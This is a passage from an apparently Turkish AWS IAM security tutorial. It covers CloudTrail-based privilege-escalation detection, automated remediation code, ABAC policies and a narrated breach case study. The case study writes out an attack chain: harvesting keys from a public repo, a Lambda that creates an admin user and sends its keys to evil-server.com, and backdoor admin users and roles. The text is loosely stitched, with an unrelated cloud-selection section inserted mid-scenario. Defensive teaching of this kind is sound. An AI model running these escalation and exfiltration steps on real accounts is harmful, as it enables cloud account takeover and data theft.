                    ],
                    StartTime=start_time,
                    EndTime=end_time
                )
                for event in response['Events']:
                    event_detail = json.loads(event['CloudTrailEvent'])
                    # Yüksek riskli senaryoları işaretle
                    risk_indicators = self.analyze_event_risk(event_detail)
                    if risk_indicators['risk_score'] > 7:
                        events.append({
                            'Event': event_detail,
                            'RiskIndicators': risk_indicators,
                            'Timestamp': event['EventTime']
                        })
            except Exception as e:
                print(f"{event_name} analiz edilirken hata oluştu: {e}")
        return events

    def analyze_event_risk(self, event):
        """Bireysel olay için risk göstergelerini analiz et"""
        risk_score = 0
        indicators = []

        # Yönetici işlemlerini kontrol et
        if any(admin_action in event.get('eventName', '') for admin_action in ['CreateRole', 'AttachRolePolicy']):
            risk_score += 3
            indicators.append('Yönetici işlemi tespit edildi')

        # Hesaplar arası aktiviteyi kontrol et
        if event.get('recipientAccountId') != event.get('userIdentity', {}).get('accountId'):
            risk_score += 4
            indicators.append('Hesaplar arası aktivite')

        # Olağandışı kaynak IP'yi kontrol et
        source_ip = event.get('sourceIPAddress', '')
        if self.is_suspicious_ip(source_ip):
            risk_score += 3
            indicators.append(f'Olağandışı kaynak IP: {source_ip}')

        # Olağandışı erişim zamanını kontrol et
        event_time = datetime.strptime(event.get('eventTime', ''), '%Y-%m-%dT%H:%M:%SZ')
        if self.is_unusual_time(event_time):
            risk_score += 2
            indicators.append('Olağandışı erişim zamanı')

        # Hata olaylarını kontrol et (potansiyel deneme)
        if event.get('errorCode'):
            risk_score += 2
            indicators.append(f'Hata olayı: {event.get("errorCode")}')

        return {
            'risk_score': risk_score,
            'indicators': indicators
        }

Otomatik Yanıt ve Müdahale

• Algılama Tetikleyicileri: CloudTrail, GuardDuty, Access Analyzer

• Yanıt Eylemleri: Politika değişiklikleri, kullanıcı kısıtlama, anahtar döndürme

• Bildirim Sistemleri: SNS, SIEM entegrasyonu, olay biletleri

• Kurtarma Prosedürleri: Yedekleme geri yükleme, erişim geri yükleme

• Denetim ve Raporlama: Uyum raporları, denetim izi korunumu

• Öğrenilen Dersler: İyileştirilmiş güvenlik politikaları

def is_suspicious_ip(self, ip):
    """IP adresinin şüpheli konum veya VPN’den gelip gelmediğini kontrol et"""
    # Tehdit istihbarat kaynaklarıyla entegre edilebilir
    suspicious_ranges = [
        '185.220.',  # Bilinen Tor çıkış düğümleri
        '198.98.',   # Örnek VPN aralığı
    ]
    return any(ip.startswith(range_prefix) for range_prefix in suspicious_ranges)

def is_unusual_time(self, event_time):
    """Erişim zamanının normal iş saatleri dışında olup olmadığını kontrol et"""
    # İş saatleri 08:00 - 18:00 UTC olarak varsayılmıştır
    hour = event_time.hour
    return hour < 8 or hour > 18

def send_security_alert(self, events, topic_arn):
    """Yüksek riskli olaylar için güvenlik uyarısı gönder"""
    if not events:
        return
    message = {
        'AlertType': 'IAM Ayrıcalık Yükseltme Tespiti',
        'Timestamp': datetime.utcnow().isoformat(),
        'EventCount': len(events),
        'HighRiskEvents': events[:5]  # İlk 5 olayı gönder
    }
    try:
        self.sns.publish(
            TopicArn=topic_arn,
            Message=json.dumps(message, indent=2),
            Subject='GÜVENLİK UYARISI: Potansiyel IAM İhlali'
        )
    except Exception as e:
        print(f"Uyarı gönderilirken hata: {e}")

# Kullanım
analyzer = IAMSecurityAnalyzer()
suspicious_events = analyzer.detect_privilege_escalation()
if suspicious_events:
    print(f"{len(suspicious_events)} şüpheli IAM olayı tespit edildi")
    analyzer.send_security_alert(suspicious_events, 'arn:aws:sns:us-east-1:123456789012:security-alerts')

Şüpheli IP ve Olağandışı Zaman Kontrolü

def is_suspicious_ip(self, ip):
    """IP adresinin şüpheli konum veya VPN'den gelip gelmediğini kontrol et"""
    suspicious_ranges = [
        '185.220.',  # Bilinen Tor çıkış düğümleri
        '198.98.',   # Örnek VPN aralığı
    ]
    return any(ip.startswith(range_prefix) for range_prefix in suspicious_ranges)

def is_unusual_time(self, event_time):
    """Erişim zamanının normal iş saatleri dışında olup olmadığını kontrol et"""
    hour = event_time.hour
    return hour < 8 or hour > 18  # 08:00-18:00 UTC normal saatler

Güvenli ve Güvensiz IAM Mimarisi Karşılaştırması

IAM Güvenlik Düzeltici (Remediator)

import boto3
import json
from datetime import datetime

class IAMSecurityRemediator:
    def __init__(self):
        self.iam = boto3.client('iam')
        self.sts = boto3.client('sts')
        self.sns = boto3.client('sns')
        self.lambda_client = boto3.client('lambda')

    def remediate_overprivileged_user(self, user_name, violation_details):
        """Aşırı yetkili kullanıcıyı otomatik olarak düzelt"""
        try:
            # Kullanıcının mevcut politikalarını al
            attached_policies = self.iam.list_attached_user_policies(UserName=user_name)
            inline_policies = self.iam.list_user_policies(UserName=user_name)

            # Mevcut izinleri yedekle
            backup_data = {
                'UserName': user_name,
                'AttachedPolicies': attached_policies['AttachedPolicies'],
                'InlinePolicies': [],
                'Timestamp': datetime.utcnow().isoformat()
            }

            # Inline politikaları al
            for policy_name in inline_policies['PolicyNames']:
                policy_doc = self.iam.get_user_policy(
                    UserName=user_name,
                    PolicyName=policy_name
                )
                backup_data['InlinePolicies'].append(policy_doc)

            # Yedeği S3 veya DynamoDB’ye kaydet
            self.store_backup(backup_data)

            # Aşırı yetkili politikaları ayır
            for policy in attached_policies['AttachedPolicies']:
                if self.is_overprivileged_policy(policy['PolicyArn']):
                    self.iam.detach_user_policy(
                        UserName=user_name,
                        PolicyArn=policy['PolicyArn']
                    )
                    print(f"{policy['PolicyArn']} politikası {user_name} kullanıcısından ayrıldı")

            # Kısıtlı politika uygula
            restricted_policy_arn = self.create_restricted_policy(user_name, violation_details)
            self.iam.attach_user_policy(
                UserName=user_name,
                PolicyArn=restricted_policy_arn
            )

            # Güvenlik ekibini bilgilendir
            self.notify_security_team({
                'Action': 'Kullanıcı yetkileri otomatik olarak kısıtlandı',
                'UserName': user_name,
                'ViolationDetails': violation_details,
                'BackupId': backup_data['Timestamp']
            })

            return True
        except Exception as e:
            print(f"{user_name} kullanıcısının düzeltilmesinde hata: {e}")
            return False

    def is_overprivileged_policy(self, policy_arn):
        """Politikanın aşırı yetki verip vermediğini kontrol et"""
        try:
            policy = self.iam.get_policy(PolicyArn=policy_arn)
            policy_version = self.iam.get_policy_version(
                PolicyArn=policy_arn,
                VersionId=policy['Policy']['DefaultVersionId']
            )
            policy_document = policy_version['PolicyVersion']['Document']

            for statement in policy_document.get('Statement', []):
                if statement.get('Effect') == 'Allow':
                    actions = statement.get('Action', [])
                    resources = statement.get('Resource', [])
                    if isinstance(actions, str):
                        actions = [actions]
                    if isinstance(resources, str):
                        resources = [resources]

                    # Yönetici yetkisi olan politikaları işaretle
                    if any('*' in action for action in actions) and any('*' in resource for resource in resources):
                        return True

                    # Yüksek riskli işlemleri kontrol et
                    high_risk_actions = [
                        'iam:CreateRole',
                        'iam:AttachRolePolicy',
                        'iam:PassRole',
                        'sts:AssumeRole'
                    ]
                    if any(action in actions for action in high_risk_actions):
                        return True
            return False
        except Exception as e:
            print(f"{policy_arn} politikası analiz edilirken hata: {e}")
            return False

    def create_restricted_policy(self, user_name, violation_details):
        """Kullanıcı için kısıtlı politika oluştur"""
        policy_name = f"Restricted-{user_name}-{datetime.utcnow().strftime('%Y%m%d')}"
        restricted_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetUser",
                        "iam:ChangePassword",
                        "iam:GetAccountPasswordPolicy"
                    ],
                    "Resource": f"arn:aws:iam::*:user/{user_name}"
                },
                {
                    "Effect": "Allow",
                    "Action": ["s3:GetObject"],
                    "Resource": "arn:aws:s3:::approved-bucket/*",
                    "Condition": {
                        "StringEquals": {
                            "s3:ExistingObjectTag/Department": "${aws:PrincipalTag/Department}"
                        }
                    }
                }
            ]
        }
        try:
            response = self.iam.create_policy(
                PolicyName=policy_name,
                PolicyDocument=json.dumps(restricted_policy),
                Description=f"{user_name} için güvenlik ihlalinden sonra geçici kısıtlı politika"
            )
            return response['Policy']['Arn']
        except Exception as e:
            print(f"Kısıtlı politika oluşturulamadı: {e}")
            return None

    def store_backup(self, backup_data):
        """Olası geri yükleme için yedek veriyi sakla"""
        # Normalde S3 veya DynamoDB kullanılır
        print(f"{backup_data['UserName']} kullanıcısı için yedek {backup_data['Timestamp']} tarihinde saklandı")

    def notify_security_team(self, incident_data):
        """Otomatik düzeltme hakkında güvenlik ekibini bilgilendir"""
        message = {
            'IncidentType': 'Otomatik IAM Düzeltmesi',
            'Details': incident_data,
            'Timestamp': datetime.utcnow().isoformat(),
            'RequiresReview': True
        }
        try:
            self.sns.publish(
                TopicArn='arn:aws:sns:us-east-1:123456789012:security-incidents',
                Message=json.dumps(message, indent=2),
                Subject='OTOMATİK DÜZELTME: IAM Güvenlik İhlali'
            )
        except Exception as e:
            print(f"Bildirim gönderilemedi: {e}")

# Lambda işlevi
def lambda_handler(event, context):
    """Config kural ihlallerini işleyen AWS Lambda fonksiyonu"""
    remediator = IAMSecurityRemediator()
    config_item = event['configurationItem']
    resource_type = config_item.get('resourceType')
    resource_id = config_item.get('resourceId')

    if resource_type == 'AWS::IAM::User':
        violation_details = {
            'ResourceType': resource_type,
            'ResourceId': resource_id,
            'ComplianceType': event.get('complianceType', 'NON_COMPLIANT'),
            'ConfigRuleName': event.get('configRuleName')
        }
        success = remediator.remediate_overprivileged_user(resource_id, violation_details)
        return {
            'statusCode': 200 if success else 500,
            'body': json.dumps({
                'message': f"{resource_id} kullanıcısı için düzeltme {'başarılı' if success else 'başarısız'}"
            })
        }
    return {
        'statusCode': 200,
        'body': json.dumps('Düzeltme gerekli değil')
    }

Güvenli ve Güvensiz IAM Mimarileri

Güvensiz IAM (“Insecure Kingdom”)

graph LR
A["Yönetici Kullanıcı"] --> B["AdministratorAccess Politikası"]
C["Geliştirici Kullanıcı"] --> B
D["Servis Hesabı"] --> B
E["EC2 Instance"] --> F["Instance Profile (Admin Rol)"]
G["Lambda Fonksiyonu"] --> H["Lambda Rolü (Admin Yetki)

Güvensiz IAM:

• Tüm kullanıcılar yönetici politikalarıyla yetkilendirilmiş

• Lambda ve EC2 admin yetkileriyle çalışıyor

• S3 açık okuma/yazma, sert kodlanmış anahtarlar

• Çapraz hesap erişimleri ve “*” yetkili trust policy

Güvenli IAM:

• Minimum yetki ilkesi (Least Privilege) uygulanır

• Servis rolleri sadece gerekli izinlere sahip

• S3 ve diğer kaynaklarda ABAC veya SCP ile erişim kontrolü

• MFA zorunlu, inline/attached policy yönetimi yedekli ve izlenebilir

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Güvenli Mimari Örnekleri:

1. MFA’lı Çok Katmanlı Yönetici Erişimi
   Bu politika, AWS IAM kimlik bilgileri için Çok Faktörlü Kimlik Doğrulama (MFA) kullanımını zorunlu kılar.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  ]
}

2. ABAC Tabanlı Geliştirici Erişimi
   Bu politika, Geliştirici kullanıcılarına belirli S3 işlemleri için ve belirli Lambda fonksiyonlarını çağırmak için rol tabanlı erişim kontrolü sağlar.
   

   {
     "Version": "2012-10-17",
     "Statement": [
       {
         "Effect": "Allow",
         "Action": [
           "s3:GetObject",
           "s3:PutObject",
           "s3:DeleteObject"
         ],
         "Resource": "arn:aws:s3:::company-projects/*",
         "Condition": {
           "StringEquals": {
             "s3:ExistingObjectTag/Project": "${aws:PrincipalTag/Project}"
           },
           "StringLike": {
             "s3:x-amz-server-side-encryption": "AES256"
           }
         }
       }
     ]
   }
   

3. Güvenli Hesaplar Arası Rol Güven Politikası

Bu politika, güvenilir bir dış hesapla rol paylaşımını sağlar.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::TRUSTED-ACCOUNT-ID:role/SpecificCrossAccountRole"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "unique-external-id-12345"
        },
        "Bool": {
          "aws:MultiFactorAuthPresent": "true"
        }
      }
    }
  ]
}

Gerçek Dünya Örneği: Büyük IAM Soygunu

Bu örnek, bir siber saldırı senaryosunu adım adım inceler.

Hedef: TechCorp’un Çok Kiracılı SaaS Platformu. Saldırı Vektörü: Genel GitHub Deposundan Kimlik Bilgisi Toplama.

Saldırı Yolu: Saldırgan Cipher, TechCorp’un Terraform konfigürasyonlarını içeren genel bir GitHub deposunu keşfeder. Bu konfigürasyonlarda gömülü AWS kimlik bilgileri bulunmaktadır.

Aşama 1: Sızma Başlar - Cipher’ın İlk Erişimi

• Keşif: Saldırgan, depoda bulunan kimlik bilgilerini kullanarak kullanıcının yetkilerini ve rollerini kontrol eder.

• Çıktı: Kullanıcı Lambda izinlerine sahip olduğunu ve Lambda fonksiyonları oluşturabileceğini keşfeder.

Bulut Seçimi Hakkında Detaylandırma

1. Güvenlik ve Uyum (Compliance): Bulut sağlayıcısının güvenlik modeli, paylaşılan sorumluluk modelini nasıl uyguladığı ve sunduğu güvenlik hizmetleri çok önemlidir. Gönderdiğiniz örnekler, IAM (Kimlik ve Erişim Yönetimi) politikasının ne kadar hassas olduğunu gösteriyor. Güvenli bir seçim yapmak için:

   • IAM yeteneklerini değerlendirin: Rol tabanlı erişim kontrolü (RBAC) ve öznitelik tabanlı erişim kontrolü (ABAC) gibi gelişmiş politikaları ne kadar kolay uygulayabildiğinizi kontrol edin.

   • Varsayılan güvenlik ayarlarını inceleyin: Sağlayıcının varsayılan güvenlik politikaları ne kadar sıkı? MFA’yı zorunlu kılmak veya S3 kovalarını varsayılan olarak herkese açık yapmamak gibi özellikler, güvenli bir mimari oluşturmayı kolaylaştırır.

   • Uyum sertifikalarını araştırın: ISO 27001, SOC 2, HIPAA gibi sektör standartlarına uygunluk, özellikle hassas verilerle çalışan şirketler için kritik öneme sahiptir.

2. Maliyet: Bulut sağlayıcılarının fiyatlandırma modelleri karmaşıktır. Hizmet başına ödeme, ayrılmış örnekler, rezervasyonlar veya kullandıkça öde modelleri arasında seçim yapmak gerekir. Farklı sağlayıcıların aynı iş yükü için ne kadar maliyet çıkaracağını analiz etmek önemlidir.

3. Ölçeklenebilirlik ve Performans: Hangi bölge ve coğrafyalarda hizmet verdikleri, ağ altyapılarının hızı ve otomatik ölçeklenebilirlik özellikleri, iş yükünüzün büyüme potansiyeli için kritik öneme sahiptir.

4. Hizmetler ve Özellikler: Her bulut sağlayıcısının kendine özgü hizmetleri vardır. Örneğin, AWS’nin geniş bir hizmet yelpazesi varken, Google Cloud makine öğrenimi ve yapay zeka alanında güçlü olabilir. İşinizin ihtiyaç duyduğu spesifik hizmetlerin (veritabanları, kapsayıcı orkestrasyonu, sunucusuz mimari vb.) sağlayıcı tarafından sunulup sunulmadığını kontrol edin.

5. Vendor Lock-in ve Çoklu Bulut Stratejisi: Tek bir bulut sağlayıcısına bağımlı kalma riski (vendor lock-in) önemli bir konudur. Çoklu bulut (multi-cloud) stratejisi, bu riski azaltırken, yönetilmesi daha karmaşık olabilir.

6. Destek ve Dokümantasyon: Teknik destek, eğitim materyalleri ve dokümantasyon kalitesi, operasyonel verimliliği doğrudan etkiler.

Saldırı Vektörü: Açık Depodan Kimlik Bilgisi Toplama
Cipher, TechCorp’un Terraform konfigürasyonlarını içeren açık GitHub deposunu keşfeder ve gömülü AWS kimlik bilgilerini bulur.

Cipher’ın İlk Keşif Faaliyeti:

Cipher’ın Yetki Yükseltme Stratejisi:

• TechCorp, 10.000+ müşteriye hizmet veren çok kiracılı bir SaaS platformu işletiyor.

• AWS altyapısı 3 bölgede ve 500+ mikro hizmet içeriyor.

• 200 çalışan farklı erişim seviyelerine sahip.

• SOC2 uyumlu hassas müşteri verilerini işliyor.

Cipher’ın kimlik bilgisi keşfi:

git clone https://github.com/techcorp/infrastructure-configs
cd infrastructure-configs
grep -r "AKIA" . --include="*.tf" --include="*.yaml"

• Bulunan: terraform/modules/lambda/main.tf dosyasında:
  bash aws_access_key_id = "AKIAI44QH8DHBEXAMPLE" aws_secret_access_key = "je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY"
  Kimlik bilgilerinin doğrulanması:
  ```bash
  aws sts get-caller-identity –profile stolen-creds

Çıktı: User: lambda-deployment-user, Account: 123456789012

**İzinlerin kontrolü:**

```bash
aws iam get-user --profile stolen-creds
aws iam list-attached-user-policies --user-name lambda-deployment-user --profile stolen-creds
aws iam list-user-policies --user-name lambda-deployment-user --profile stolen-creds

• Keşif: Kullanıcının PassRole izni var.

Yetki yükseltme için mevcut rollerin listelenmesi:

aws iam list-roles --profile stolen-creds --query 'Roles[?contains(RoleName, `Admin`) || contains(RoleName, `Power`)].RoleName'

import boto3, json, urllib3

def lambda_handler(event, context):
    iam = boto3.client('iam')
    try:
        iam.create_user(UserName='backup-service-account')
        response = iam.create_access_key(UserName='backup-service-account')
        iam.attach_user_policy(
            UserName='backup-service-account',
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )
        access_key = response['AccessKey']['AccessKeyId']
        secret_key = response['AccessKey']['SecretAccessKey']
        http = urllib3.PoolManager()
        payload = {
            'account_id': context.invoked_function_arn.split(':')[4],
            'access_key': access_key,
            'secret_key': secret_key,
            'timestamp': str(context.aws_request_id)
        }
        http.request('POST', 'https://evil-server.com/collect',
                     body=json.dumps(payload).encode())
    except Exception as e:
        pass
    return {'statusCode': 200, 'body': 'Function executed successfully'}

Fonksiyonun paketlenmesi ve dağıtımı:

zip escalation_function.zip escalation_function.py
aws lambda create-function \
--profile stolen-creds \
--function-name system-health-monitor \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/LambdaAdminRole \
--handler escalation_function.lambda_handler \
--zip-file fileb://escalation_function.zip \
--description "System monitoring function"
aws lambda invoke --profile stolen-creds --function-name system-health-monitor output.json

Müşteri verilerinin keşfi:

aws s3 ls --profile admin-backdoor
aws s3 ls s3://techcorp-customer-data-prod --recursive | head -20
aws s3api get-object --bucket techcorp-customer-data-prod --key customer_database_backup.sql dump.sql --profile admin-backdoor

Çoklu kalıcılık mekanizmaları oluşturma:

aws iam create-user --user-name aws-support-temp --profile admin-backdoor
aws iam create-access-key --user-name aws-support-temp --profile admin-backdoor
aws iam attach-user-policy --user-name aws-support-temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile admin-backdoor
aws iam create-role --role-name SecurityAuditRole --assume-role-policy-document file://backdoor-trust-policy.json --profile admin-backdoor
aws iam attach-role-policy --role-name SecurityAuditRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile admin-backdoor

CloudTrail analizi:

def analyze_suspicious_iam_activity():
    suspicious_events = []
    events = cloudtrail.lookup_events(
        LookupAttributes=[{'AttributeKey': 'EventName', 'AttributeValue': 'CreateUser'}],
        StartTime=datetime.utcnow() - timedelta(hours=1)
    )
    for event in events['Events']:
        event_detail = json.loads(event['CloudTrailEvent'])
        if event_detail.get('sourceIPAddress') not in APPROVED_IP_RANGES:
            if event_detail.get('eventTime') and is_outside_business_hours(event_detail['eventTime']):
                suspicious_events.append(event_detail)
    return suspicious_events

Guardian’ın anlık tepkisi ve kurtarma adımları:

• Şüpheli kullanıcı hesaplarının devre dışı bırakılması.

• Tüm oturumların geçersiz kılınması.

• AWS Organizations SCP kullanarak ek hasarın önlenmesi.

Forensics analiz:

• 30 günlük CloudTrail olaylarının analizi.

• Saldırı zaman çizelgesi oluşturma.

• Yanal hareketlerin tespiti ve etkilenen kaynakların belirlenmesi.

def conduct_forensic_analysis():
    # Kompromize olmuş kullanıcının CloudTrail etkinliklerini al
    events = get_user_activity('lambda-deployment-user', days_back=30)

    # Olay zaman çizelgesini oluştur
    timeline = []
    for event in events:
        timeline.append({
            'timestamp': event['eventTime'],
            'action': event['eventName'],
            'source_ip': event['sourceIPAddress'],
            'user_agent': event.get('userAgent', 'Unknown'),
            'resources_affected': event.get('resources', [])
        })

    # Yan hareketleri ve etkilenen kaynakları belirle
    affected_resources = set()
    PRIVILEGE_ESCALATION_EVENTS = ['CreateUser', 'AttachUserPolicy', 'CreateRole']
    for event in events:
        if event['eventName'] in PRIVILEGE_ESCALATION_EVENTS:
            affected_resources.update(event.get('resources', []))

    return {
        'timeline': timeline,
        'affected_resources': list(affected_resources),
        'compromise_duration': calculate_compromise_duration(events)
    }

# Anomalous IAM aktivitelerini tespit eden sınıf
class TechCorpThreatDetection:
    def __init__(self):
        self.cloudtrail = boto3.client('cloudtrail')
        self.guardduty = boto3.client('guardduty')

    def detect_anomalous_iam_activity(self):
        # Normal davranış modellerini yükle
        normal_patterns = self.load_baseline_patterns()
        recent_activity = self.get_recent_iam_activity()
        anomalies = []

        for activity in recent_activity:
            risk_score = self.calculate_risk_score(activity, normal_patterns)
            if risk_score > THREAT_THRESHOLD:
                anomalies.append({
                    'activity': activity,
                    'risk_score': risk_score,
                    'recommended_action': self.get_recommended_action(risk_score)
                })

        return anomalies

Acil durum ABAC politikalarının uygulanması:

{
"Version": "2012-10-17",
"Statement": [
    {
        "Effect": "Deny",
        "Action": "*",
        "Resource": "*",
        "Condition": {
            "StringNotEquals": {
                "aws:PrincipalTag/IncidentResponse": "Approved"
            }
        }
    }
]
}

• Tüm kullanıcılar için parola sıfırlama.

• Tüm erişim anahtarlarının devre dışı bırakılması ve yenilenmesi.

ABAC politikalarının kapsamlı uygulanması:

• Terraform ile tüm kaynaklarda ABAC uygulanması.

• Yetkisiz kullanıcıların kritik IAM işlemlerini yapmasının engellenmesi.

Tüm Kimlik Bilgilerini Yenileme (Rotate All Credentials)

Olay Sonrası Güçlendirme (Guardian’s Post-Incident Hardening)

Bash: Kullanıcı Parolalarını ve Erişim Anahtarlarını Yenileme

#!/bin/bash
# Tüm kullanıcılar için parola sıfırlamayı zorunlu kıl
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
    aws iam update-login-profile --user-name $user --password-reset-required
done

# Tüm erişim anahtarlarını devre dışı bırak / yenile
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
    old_keys=$(aws iam list-access-keys --user-name $user --query 'AccessKeyMetadata[].AccessKeyId' --output text)
    for key in $old_keys; do
        aws iam update-access-key --user-name $user --access-key-id $key --status Inactive
    done
done

Kapsamlı ABAC Uygulaması (Attribute-Based Access Control)

Terraform Örneği

resource "aws_iam_policy" "abac_enforcement" {
  name        = "ABAC-Enforcement-Policy"
  description = "Tüm kaynaklarda ABAC politikası uygular"
  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Effect = "Deny",
        Action = "*",
        Resource = "*",
        Condition = {
          "Null" = {
            "aws:PrincipalTag/Department" = "true"
          }
        }
      },
      {
        Effect = "Deny",
        Action = [
          "iam:CreateUser",
          "iam:CreateRole",
          "iam:AttachUserPolicy",
          "iam:AttachRolePolicy"
        ],
        Resource = "*",
        Condition = {
          "StringNotEquals" = {
            "aws:PrincipalTag/Role" = "SecurityAdmin"
          }
        }
      }
    ]
  })
}

• Amaç: ABAC ile yalnızca gerekli yetkilere sahip kullanıcıların kritik işlemleri gerçekleştirmesini sağlamak.

• Örnek: Department veya Role etiketi olmayan kullanıcılar kısıtlanır.

Gelişmiş İzleme ve Tehdit Tespiti

Python: Anomalous IAM Activity Detection

import boto3

class TechCorpThreatDetection:
    def __init__(self):
        self.cloudtrail = boto3.client('cloudtrail')
        self.guardduty = boto3.client('guardduty')

    def detect_anomalous_iam_activity(self):
        # Makine öğrenimi tabanlı IAM aktivite anomalisi tespiti
        normal_patterns = self.load_baseline_patterns()
        recent_activity = self.get_recent_iam_activity()
        anomalies = []

        for activity in recent_activity:
            risk_score = self.calculate_risk_score(activity, normal_patterns)
            if risk_score > THREAT_THRESHOLD:
                anomalies.append({
                    'activity': activity,
                    'risk_score': risk_score,
                    'recommended_action': self.get_recommended_action(risk_score)
                })

        return anomalies

ABAC Konsepti ve Örnekleri

Kritik Gözlemler

AWS ABAC Örneği (S3 için)

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::corporate-data/*",
      "Condition": {
        "StringEquals": {
          "s3:ExistingObjectTag/Department": "${aws:PrincipalTag/Department}",
          "s3:ExistingObjectTag/Project": "${aws:PrincipalTag/Project}",
          "s3:ExistingObjectTag/DataClassification": "${aws:PrincipalTag/ClearanceLevel}"
        },
        "ForAllValues:StringLike": {
          "s3:ExistingObjectTag/Region": "${aws:PrincipalTag/AllowedRegions}"
        },
        "DateGreaterThan": {
          "s3:ExistingObjectTag/ExpirationDate": "${aws:CurrentTime}"
        }
      }
    }
  ]
}

Terraform: Çok Kiracılı ABAC Politikası

resource "aws_iam_policy" "tenant_isolation_policy" {
  name        = "MultiTenant-ABAC-Policy"
  description = "ABAC policy for multi-tenant isolation"
  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Sid = "TenantDataAccess",
        Effect = "Allow",
        Action = ["s3:GetObject", "s3:PutObject", "s3:DeleteObject", "s3:ListBucket"],
        Resource = [
          "arn:aws:s3:::tenant-data-${aws:PrincipalTag/TenantId}",
          "arn:aws:s3:::tenant-data-${aws:PrincipalTag/TenantId}/*"
        ],
        Condition = {
          StringEquals = {
            "s3:ExistingObjectTag/TenantId" = "$${aws:PrincipalTag/TenantId}"
          }
        }
      },
      {
        Sid = "DatabaseAccess",
        Effect = "Allow",
        Action = ["dynamodb:GetItem","dynamodb:PutItem","dynamodb:UpdateItem","dynamodb:DeleteItem","dynamodb:Query"],
        Resource = "arn:aws:dynamodb:*:*:table/TenantData",
        Condition = {
          "ForAllValues:StringEquals" = {
            "dynamodb:Attributes" = ["tenant_id","data","timestamp"]
          },
          StringEquals = {
            "dynamodb:LeadingKeys" = "$${aws:PrincipalTag/TenantId}"
          }
        }
      }
    ]
  })
}

Python: ABAC Uygulama ve Denetim Çerçevesi

import boto3, json
from datetime import datetime

class ABACGovernanceFramework:
    def __init__(self):
        self.iam = boto3.client('iam')
        self.organizations = boto3.client('organizations')
        self.config = boto3.client('config')

    def enforce_tag_compliance(self):
        """Organizasyon genelinde etiket uyumluluğunu uygular"""
        tag_policy = { ... }  # Tüm Department, Project, DataClassification etiketleri ve uygulanacak kaynaklar
        return self.organizations.create_policy(
            Name='ABAC-Tag-Policy',
            Description='Organization-wide ABAC tag enforcement',
            Type='TAG_POLICY',
            Content=json.dumps(tag_policy)
        )

    def audit_abac_effectiveness(self):
        """ABAC uygulama etkinliğini denetler"""
        findings = []
        untagged_resources = self.find_untagged_resources()
        if untagged_resources:
            findings.append({'severity':'HIGH','category':'Untagged Resources','count':len(untagged_resources),'resources':untagged_resources[:10]})
        inconsistent_tags = self.find_inconsistent_tags()
        if inconsistent_tags:
            findings.append({'severity':'MEDIUM','category':'Inconsistent Tag Values','details':inconsistent_tags})
        policy_violations = self.find_abac_policy_violations()
        if policy_violations:
            findings.append({'severity':'CRITICAL','category':'ABAC Policy Violations','violations':policy_violations})
        return findings

    def generate_abac_compliance_report(self):
        """ABAC uyumluluk raporu üretir"""
        report = {
            'timestamp': datetime.utcnow().isoformat(),
            'summary': {
                'total_principals': self.count_iam_principals(),
                'total_resources': self.count_tagged_resources(),
                'compliance_percentage': self.calculate_compliance_percentage()
            },
            'findings': self.audit_abac_effectiveness(),
            'recommendations': self.generate_recommendations()
        }
        return report

IAM Kullanıcı Oluşturma ve Etiketleme

# Etiketli IAM kullanıcı oluştur
aws iam create-user --user-name john.doe --path /employees/ --tags Key=Department,Value=Finance Key=Project,Value=Budget2024
# Kullanıcıyı gruba ekle
aws iam add-user-to-group --user-name john.doe --group-name FinanceTeam
# Erişim anahtarı oluştur
aws iam create-access-key --user-name john.doe
# Şifre sıfırlama zorunluluğu
aws iam update-login-profile --user-name john.doe --password-reset-required

MFA Olmayan Kullanıcıları Listeleme

aws iam get-account-summary --query 'SummaryMap.UsersQuota'
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  mfa=$(aws iam list-mfa-devices --user-name $user --query 'MFADevices' --output text)
  [[ -z "$mfa" ]] && echo "Kullanıcı $user MFA yok"
done

ABAC Trust Politikalı IAM Rolü Oluşturma

aws iam create-role --role-name ABACDemoRole --assume-role-policy-document '{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::123456789012:root" },
      "Action": "sts:AssumeRole",
      "Condition": { "StringEquals": { "aws:PrincipalTag/Department": "Finance" } }
    }
  ]
}'
# Yönetilen politikayı ekle
aws iam attach-role-policy --role-name ABACDemoRole --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

Özel ABAC Politikası Oluşturma

aws iam create-policy --policy-name ABAC-S3-Policy --policy-document file://abac-policy.json
# Politika simülasyonu
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/john.doe --action-names s3:GetObject --resource-arns arn:aws:s3:::company-data/file.txt

Aşırı Yetkili Politikaları Bulma

aws iam list-policies --scope Local --query 'Policies[?contains(PolicyName, `Admin`) || contains(PolicyName, `Full`)].PolicyName'

Kullanılmayan Kimlik Bilgilerini Kontrol Etme

aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d > credential-report.csv

Joker Karakter (*) İzinlerini Kontrol Etme

for policy in $(aws iam list-policies --scope Local --query 'Policies[].Arn' --output text); do
  version=$(aws iam get-policy --policy-arn $policy --query 'Policy.DefaultVersionId' --output text)
  aws iam get-policy-version --policy-arn $policy --version-id $version --query 'PolicyVersion.Document' | grep -q '\*' && echo "Joker karakter bulundu: $policy"
done

Access Analyzer Bulguları

